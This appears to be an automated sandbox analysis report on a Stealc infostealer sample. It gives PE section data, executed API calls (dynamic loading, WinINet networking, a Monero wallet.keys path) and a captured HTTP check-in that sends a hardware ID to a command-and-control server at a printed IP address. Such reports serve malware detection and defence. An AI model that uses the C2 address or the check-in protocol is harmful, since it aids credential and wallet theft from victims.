add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	7825c519f27d13cc7059e9db1cbdbd8e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x296000	0x200	c326fff1ac31310b590fea84f0f546fc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
igioonnz	0x4f4000	0x198000	0x197e00	521231db8d407702c766f2c5f931c7a6	False	0.9951144939472878	data	7.9541328107459774	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dimpkies	0x68c000	0x1000	0x400	4f5067476cd62a80af34cb3fbe7354ea	False	0.8583984375	data	6.512164561394596	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x68d000	0x3000	0x2200	0a50a632c047f5e4691cb8f1481eb504	False	0.06721047794117647	DOS executable (COM)	0.7347270425044776	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-25T00:19:17.598711+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 00:19:16.331762075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 25, 2024 00:19:16.339684963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 25, 2024 00:19:16.339824915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 25, 2024 00:19:16.339945078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 25, 2024 00:19:16.347491980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 25, 2024 00:19:17.298089981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 25, 2024 00:19:17.298217058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 25, 2024 00:19:17.300923109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 25, 2024 00:19:17.309983969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 25, 2024 00:19:17.598597050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 25, 2024 00:19:17.598711014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 25, 2024 00:19:19.889525890 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	7628	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 00:19:16.339945078 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 25, 2024 00:19:17.298089981 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 22:19:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 00:19:17.300923109 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDA Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 46 45 46 35 31 31 32 37 43 37 35 33 37 39 39 36 32 31 31 36 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 2d 2d 0d 0a Data Ascii: ------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="hwid"5FEF51127C753799621165------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="build"doma------EBKEHJJDAAAAKECBGHDA--
Oct 25, 2024 00:19:17.598597050 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 22:19:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	18:19:12
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd80000
File size:	1'826'816 bytes
MD5 hash:	4AF633CEED4AACAF057EA12772B50AD2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1796107974.000000000180E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1754683786.00000000056C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00D99860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,018224A0), ref: 00D998A1
GetProcAddress.KERNEL32(74DD0000,018224B8), ref: 00D998BA
GetProcAddress.KERNEL32(74DD0000,018223B0), ref: 00D998D2
GetProcAddress.KERNEL32(74DD0000,018224D0), ref: 00D998EA
GetProcAddress.KERNEL32(74DD0000,01822350), ref: 00D99903
GetProcAddress.KERNEL32(74DD0000,01829018), ref: 00D9991B
GetProcAddress.KERNEL32(74DD0000,018158B0), ref: 00D99933
GetProcAddress.KERNEL32(74DD0000,01815830), ref: 00D9994C
GetProcAddress.KERNEL32(74DD0000,01822218), ref: 00D99964
GetProcAddress.KERNEL32(74DD0000,01822308), ref: 00D9997C
GetProcAddress.KERNEL32(74DD0000,01822500), ref: 00D99995
GetProcAddress.KERNEL32(74DD0000,01822320), ref: 00D999AD
GetProcAddress.KERNEL32(74DD0000,018158D0), ref: 00D999C5
GetProcAddress.KERNEL32(74DD0000,01822230), ref: 00D999DE
GetProcAddress.KERNEL32(74DD0000,018222C0), ref: 00D999F6
GetProcAddress.KERNEL32(74DD0000,018156D0), ref: 00D99A0E
GetProcAddress.KERNEL32(74DD0000,01822368), ref: 00D99A27
GetProcAddress.KERNEL32(74DD0000,01822398), ref: 00D99A3F
GetProcAddress.KERNEL32(74DD0000,01815870), ref: 00D99A57
GetProcAddress.KERNEL32(74DD0000,018222D8), ref: 00D99A70
GetProcAddress.KERNEL32(74DD0000,018158F0), ref: 00D99A88
LoadLibraryA.KERNEL32(01822578,?,00D96A00), ref: 00D99A9A
LoadLibraryA.KERNEL32(01822590,?,00D96A00), ref: 00D99AAB
LoadLibraryA.KERNEL32(01822518,?,00D96A00), ref: 00D99ABD
LoadLibraryA.KERNEL32(018225D8,?,00D96A00), ref: 00D99ACF
LoadLibraryA.KERNEL32(018225A8,?,00D96A00), ref: 00D99AE0
GetProcAddress.KERNEL32(75A70000,018225C0), ref: 00D99B02
GetProcAddress.KERNEL32(75290000,01822530), ref: 00D99B23
GetProcAddress.KERNEL32(75290000,01822548), ref: 00D99B3B
GetProcAddress.KERNEL32(75BD0000,01822560), ref: 00D99B5D
GetProcAddress.KERNEL32(75450000,01815710), ref: 00D99B7E
GetProcAddress.KERNEL32(76E90000,018290D8), ref: 00D99B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00D99BB6

Strings

NtQueryInformationProcess, xrefs: 00D99BAA

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 32074da65ef329ce9a2169481c2d9ce22956dca5cafc0b2b5d24d6d2fb01b344
Instruction ID: 24f79b8c175691ffacd5558058325feb997bef1ad950e153ee04c5e3ad554fce
Opcode Fuzzy Hash: 32074da65ef329ce9a2169481c2d9ce22956dca5cafc0b2b5d24d6d2fb01b344
Instruction Fuzzy Hash: 40A15CB550024C9FD344EFA8FF8AD5637F9FB8C309704851AA605C32A4D639B852FB26

Function 00D845C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00D8460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00D8479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D846B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D84770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D84622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D84765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D84657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D84683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D84729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D84678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D846AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D84617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D84734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D8475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D8477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D845F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D8471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D8466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D84662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D8462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D84643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D845DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D84713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D846C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D8474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D845E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D845D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D84638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D846CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D8473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D846D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D845C7

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: a84de6ed6e0af61669e2aa44edaec23a961ca905390f7ee93330d7020075aef6
Instruction ID: 55fc6f21b8a1fb3568d9deca267d5ffd9a03a3f37d01fefa8e528dcaeae40b89
Opcode Fuzzy Hash: a84de6ed6e0af61669e2aa44edaec23a961ca905390f7ee93330d7020075aef6
Instruction Fuzzy Hash: 9741EE607C3709FF8E64FBA8A94EEDD77565F47720FD07A44EE0092284CAA059084637

Function 00D84880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D9A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D9A7E6

Part of subcall function 00D847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D84839
Part of subcall function 00D847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D84849

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00D84915
StrCmpCA.SHLWAPI(?,0182EB68), ref: 00D8493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D84ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00DA0DDB,00000000,?,?,00000000,?,",00000000,?,0182EA18), ref: 00D84DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00D84E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00D84E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00D84E49
InternetCloseHandle.WININET(00000000), ref: 00D84EAD
InternetCloseHandle.WININET(00000000), ref: 00D84EC5
HttpOpenRequestA.WININET(00000000,0182EB78,?,0182E1B0,00000000,00000000,00400100,00000000), ref: 00D84B15

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

Part of subcall function 00D9A920: lstrcpy.KERNEL32(00000000,?), ref: 00D9A972
Part of subcall function 00D9A920: lstrcat.KERNEL32(00000000), ref: 00D9A982

InternetCloseHandle.WININET(00000000), ref: 00D84ECF

Strings

------, xrefs: 00D84C69
------, xrefs: 00D84B28
", xrefs: 00D84D33
------, xrefs: 00D849BD
", xrefs: 00D84BF2

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: d9d37ab21e6c89a6f11d9b258dcb62954d1fc0df4723f1a65a2b057452d596d7
Instruction ID: 8a877237b63dd658d55cab167b4eb3098b1d3ff57ebc033507037930e700aaca
Opcode Fuzzy Hash: d9d37ab21e6c89a6f11d9b258dcb62954d1fc0df4723f1a65a2b057452d596d7
Instruction Fuzzy Hash: 30129772920128AADF15EBA4DD92FEEB779FF15300F504199B10662091EF706B49CFB2

Function 00D978E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

